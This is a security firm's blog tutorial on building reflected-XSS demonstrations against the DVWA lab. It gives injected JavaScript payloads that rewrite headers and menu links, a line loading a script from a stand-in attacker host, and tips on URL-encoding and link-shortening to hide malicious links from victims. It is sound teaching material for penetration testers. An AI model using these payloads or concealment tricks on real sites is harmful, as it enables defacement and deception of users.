Real World XSS Attacks #1: Introduction & Key JavaScript Principles

When encountering a Cross-Site Scripting (XSS) flaw, it is standard practice for a penetration tester to inject:

<script>alert(document.cookie)</script>

Which will pop up an alert box displaying their cookie. A screenshot of this, accompanied by a description of a hypothetical attack scenario, such as “an attacker could exploit this to redirect users to a malicious site” or “an attacker could leverage this to harvest login credentials”, will then form the evidence and consequences of the issue in the report.

 

Herein lies the issue as, whilst most clients understand the ramifications of XSS flaws, without a visual demonstration of the vulnerability within the context of their application, they’re likely to fail to appreciate the full extent of its threat to their business. Indeed, a screenshot and a hypothetical attack description significantly lacks the impact that a realistic attack demonstration would provide.

 

Of course, providing a realistic attack demo can be a time consuming process and, as a result, is rarely done; however, by using some basic JavaScript, relatively advanced attacks can be performed that are quick to carry out, work well as demos and effectively highlight the risk of Cross-Site Scripting to the client’s business. Therefore, in the following series of posts, we will be looking at what JavaScript we can use to achieve this and walk through some attack scenarios in which we can use it.

 

This first post will serve as an introduction to JavaScript and some of the key functions needed to perform advanced XSS attacks, namely getElementById() and getElementsByTagName(). We will then put them into practice by modifying the page contents of a vulnerable attack surface, I will be using Damn Vulnerable Web Application (DVWA). I provided download and setup links in an earlier post.

 

getElementById()

 

getElementById() accesses an element based on its id, which is assigned to the element in the HTML source. An example would be:

<h1 id="myHeader">Perspective Risk</h1>

or

<p id="firstPara">A paragraph about Perspective Risk's awesome blog</p>

By using getElementById(“myHeader”) or getElementbyID(“firstPara”), we can traverse the DOM until we find these elements and then modify them as we see fit.

 

Before we try this out on DVWA, we need to make a small modification to include an id attribute in the page we will be editing the contents of (as DVWA doesn’t use ids in its code). To do this, open up the index.php file found in the xss_r (reflected XSS) folder in the vulnerabilities folder. The path should be something like: /opt/lampp/htdocs/dvwa/vulnerabilities/xss_r/index.php. Once there, scroll down to line 37, which should read:

<h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1>

We then need to add the id attribute to the h1 tag, so make it:

 <h1 id="\Header1\">Vulnerability: Reflected Cross Site Scripting (XSS)</h1>

Once done, save and exit. We’ve now assigned that particular heading with the id of “Header1″; therefore, in our injection, we can access the element with: getElementById(“Header1″). (If you’re wondering about the backslashes in the source, we need them to escape the quotes, so they don’t break out of the PHP variable the HTML is contained in.)

 

Now lets take a look at the script we’ll be injecting:

1
2
3
4
5
6
7
<script>
function editHeader(){
    var ourHeader =  document.getElementById("Header1");
    ourHeader.innerHTML = "Perspective Risk Are The Best!";
}
</script>
<button onclick="editHeader()">Click to edit!</button>

Line 2: Here we create a function to put our JavaScript code into. We do this as, for this example, we don’t want the JavaScript to be ran as soon as the page loads, which it would if we didn’t use a function.


Line 3: We now call our method getElementById(), but we need an object to make it a method of, i.e. we need somewhere to apply it to. In this case, as we’re editing the contents of the current HTML document (i.e. the current page), we use the document object. We then place the contents of the retrieved element Header1 in the variable ourHeader. If you’re new to JavaScript, it differs from some of the other languages in that you need to declare variables before you assign them, using var.
 

Line 4: Next, we access the innerHTML property of the element stored in our variable. Using innerHTML, we can access and modify the HTML code and the text that occurs between that element’s opening and closing tags. We thus use the innerHTML property to change the header to something of our choosing.
 

Line 7: Lastly, we create a button element with the event handler onclick, which calls our function from the script. Therefore, when we click the button, the event handler will trigger and our code to edit the header will execute.

 

Let’s give it a go! Start up XAMPP (/opt/lampp/lampp start), and head over to the XSS reflected section of DVWA (remember the login credentials are admin:password and make sure the security level is on the low setting). We can then inject our script, which should produce the button, like so:

[[{"type":"media","view_mode":"media_large","fid":"342","attributes":{"alt":"","class":"media-image","height":"268","typeof":"foaf:Image","width":"480"}}]]

 

 

Then, when we click the button, the heading of the page should change:

[[{"type":"media","view_mode":"media_large","fid":"343","attributes":{"alt":"","class":"media-image","height":"285","typeof":"foaf:Image","width":"480"}}]]

 

 

Voila! It’s like magic! If we want the page content editing to take place as soon as the page loads, we can simply remove the button and the function, like so:

<script>
var ourHeader =  document.getElementById("Header1");
ourHeader.innerHTML = "Perspective Risk Are The Best!";
</script>

In addition, we can reduce the size of the script we’re injecting by simply appending the innerHTML property to the end of the document.getElementById() line and removing the variable assignment:

<script>
document.getElementById("Header1").innerHTML = "Perspective Risk Are The Best!";
</script>

We’ve now covered how to use getElementById() to access and change elements in the DOM. It’s the simplest way to do so; however, unfortunately, the majority of webpages out there do not make use of the id tag (as we’ve already seen in the case of DVWA). As a result, we have to find another way in which way to access elements in the DOM. Thankfully, JavaScript provides a way of doing this, by using the HTML tags themselves via a method called getElementsByTagName().

 

getElementsByTagName()

 

getElementsByTagName() is very similar in syntax and usage to getElementById(), the only difference being, of course, that we are accessing elements via their HTML tags as oppose to their id. This is where getElementsByTagName() becomes slightly more complicated than getElementById() as, for example, consider if we wished to access a particular paragraph (<p>) tag within a page. The chances are there will be tens, potentially hundreds of paragraph tags in that page, so how can we access just the one we want?

 

Luckily, the powers that be thought of this, so when you use getElementsByTagName(), all the elements matching that tag are retrieved and then stored in an array. We can then pick the paragraph tag we wish to modify by accessing it within the array. Let’s give this a go and take a look at our new script:

1
2
3
4
5
6
7
8
<script>
function editHeader(){
    var h1Array = document.getElementsByTagName("h1");
    var ourHeader = h1Array[0];
    ourHeader.innerHTML = "I love accessing tags in the DOM!";
}
</script>
<button onclick="editHeader()">Click to edit!</button>

Line 3: Here we instruct getElementsByTagName() to retrieve all the h1 tags in the document and store them in array called h1Array.

Line 4: We now assign the 1st item in the h1Array, which will be the header we wish to change, to the variable ourHeader. (Remember that array assignment starts from 0.)

Line 5: Lastly, we modify the innerHTML property of the ourHeader variable to contain what we want.

 

Like the above, injecting this and then hitting the button will edit the header:

[[{"type":"media","view_mode":"media_large","fid":"344","attributes":{"alt":"","class":"media-image","height":"274","typeof":"foaf:Image","width":"480"}}]]

 

 

Pretty cool if you ask me! Again, we can reduce the size of the injection:

<script>
document.getElementsByTagName("h1")[0].innerHTML = "I love accessing tags in the DOM!";
</script>

Obviously, this was a simple example as there is only one set of <h1> tags in the source of the page we were editing. If we did wish to edit the contents of a HTML tag of which there were many of, such as the paragraph tag, we have two options. The simplest method would be to just open up the source of the page and search for the tags, counting along the way, until we find the one we wish to change. However, this would be pretty time consuming; a much quicker option would be to inject some code which creates a series of popups displaying the contents of each tag and their count in the array. Once we’ve found the one we want, we can just hit back on our browser to cancel the rest of the popups. Let’s give this a try then, using the <a> anchor tag (as there are lots of them in the DVWA source).

 

Here’s the script we will inject:

1
2
3
4
5
6
7
8
<script>
var anchorItems =  document.getElementsByTagName("a");
var anchorItemsNumber = anchorItems.length;
alert("There are " + anchorItemsNumber + " anchor elements in this page");
for (var i = 0; i < anchorItemsNumber ; i++ ){
	alert("Array item: " + i + " contains: " + anchorItems[i].innerHTML);
}
</script>

Line 2: Same as before here, we’re just retrieving all the instances of anchor elements and storing them in an array.

Line 3: Now we use the JavaScript length property to tell us how many anchor elements there are and then store this number in a variable.

Line 4: This is an optional line, but here we create a popup telling us how many anchor elements we have in total.

Line 5&6: Now we introduce a for loop, which will cycle through and create individual popups for all the items in the array. The variable i is our counter, so we initialize that to 0 first. We then say, “when i is less than the total number of anchor items (anchorItemsNumber), increase by one and perform the below code”. The below code being a simple popup that displays the contents of the particular anchor item via the innerHTML property. Once we’ve cycled through all the items in the array, i.e. “i is no longer less than anchorItemsNumber“, the for loop exits.

 

The menu categories on the left are anchor items, so if we pick one that we wish to change, I’m going to go with SQL Injection (Blind), we can use the script to find its position in the array. If we inject our code and then keep hitting OK, eventually we’ll get to the item we want.

[[{"type":"media","view_mode":"media_large","fid":"345","attributes":{"alt":"","class":"media-image","height":"270","typeof":"foaf:Image","width":"480"}}]]

 

 

There we are – the element I want to change is item 8 in the array. To cancel the rest of the popups, just hit the back button in the browser (or select “prevent page from creating additional dialogs” if you’re using firefox). Therefore, if we take our code from above and change it to retrieve anchor elements and modify the 8th item in the array, we can use it to replace the menu item with whatever we want:

<script>
document.getElementsByTagName("a")[8].innerHTML = "Perspective Risk!";
</script>

 

[[{"type":"media","view_mode":"media_large","fid":"346","attributes":{"alt":"","class":"media-image","height":"276","typeof":"foaf:Image","width":"480"}}]]

As you can see, the menu item text has been replaced.

 

Cloaking the Malicious Links

 

You may have been thinking throughout this post, well this looks good, but surely the client will say that any user with the smallest appreciation of security will be wary of clicking on a link that is that long and contains those “strange codes”. Fortunately, there are a few solutions. The easiest and best way is just to place our code in an external script file and call the file in our injection; for example, if I placed the below code in a file called tagnamescript.js:

document.getElementsByTagName("a")[8].innerHTML = "Perspective Risk!";

And then called the file by injecting:

<script src="http://www.attackersite.com/scripts/tagnamescript.js"></script>

Our exploit will trigger the same as if we injected the entire code ourself.
 
Secondly, we can URL encode the injection, using an encoder, such as Burp’s. If we take the below malicious link:

 

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script> var anchorItem = document.getElementsByTagName(“a”)[8].innerHTML = “Perspective Risk!”; </script>

 

And URL encode the injection, i.e. the entire script after name=:

[[{"type":"media","view_mode":"media_large","fid":"347","attributes":{"alt":"","class":"media-image","height":"205","typeof":"foaf:Image","width":"480"}}]]

 

 

Then reappend it to the URL, we are left with:

 

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%3c%73%63%72%69%70%74%3e%20%76%61%72%20%61%6e%63%68%6f%72%49%74%65%6d%20%3d%20%64
%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28
%1c%61%1d%29%5b%38%5d%2e%69%6e%6e%65%72%48%54%4d%4c%20%3d%20%1c%50%65%72%73%70%65%63%74
%69%76%65%20%52%69%73%6b%21%1d%3b%20%3c%2f%73%63%72%69%70%74%3e

 

Which still works but is much more likely to go unnoticed.

 

The other option would be to use a link shortening service, such as bitly, which will cloak the entire link for us:

[[{"type":"media","view_mode":"media_large","fid":"348","attributes":{"alt":"","class":"media-image","height":"198","typeof":"foaf:Image","width":"480"}}]]

 

 

A Final Note – Stored XSS

 

It’s worth noting that, in this post, we exploited a reflected Cross-Site Scripting vulnerability. Thus, of course, any changes we make via XSS to the page won’t be permanent, which is why we used the reflected area of DVWA to practice on in the first place. However, if one were to find a stored XSS vulnerability and exploit it in the manner described above, the changes made would be permanent until the injected script is removed from the page.

                        

We are Perspective Risk

Information security is crucial to every aspect of your business – operational efficiency, profitability, business continuity, customer confidence, brand loyalty, protection against fraud and meeting regulatory requirements.

Perspective Risk provides in-depth security assessments, risk management and compliance solutions to help you keep your confidential information safe and your critical systems secure. We’re innovative, flexible and supportive, helping you through any information security issues to deliver real business benefits and excellent value.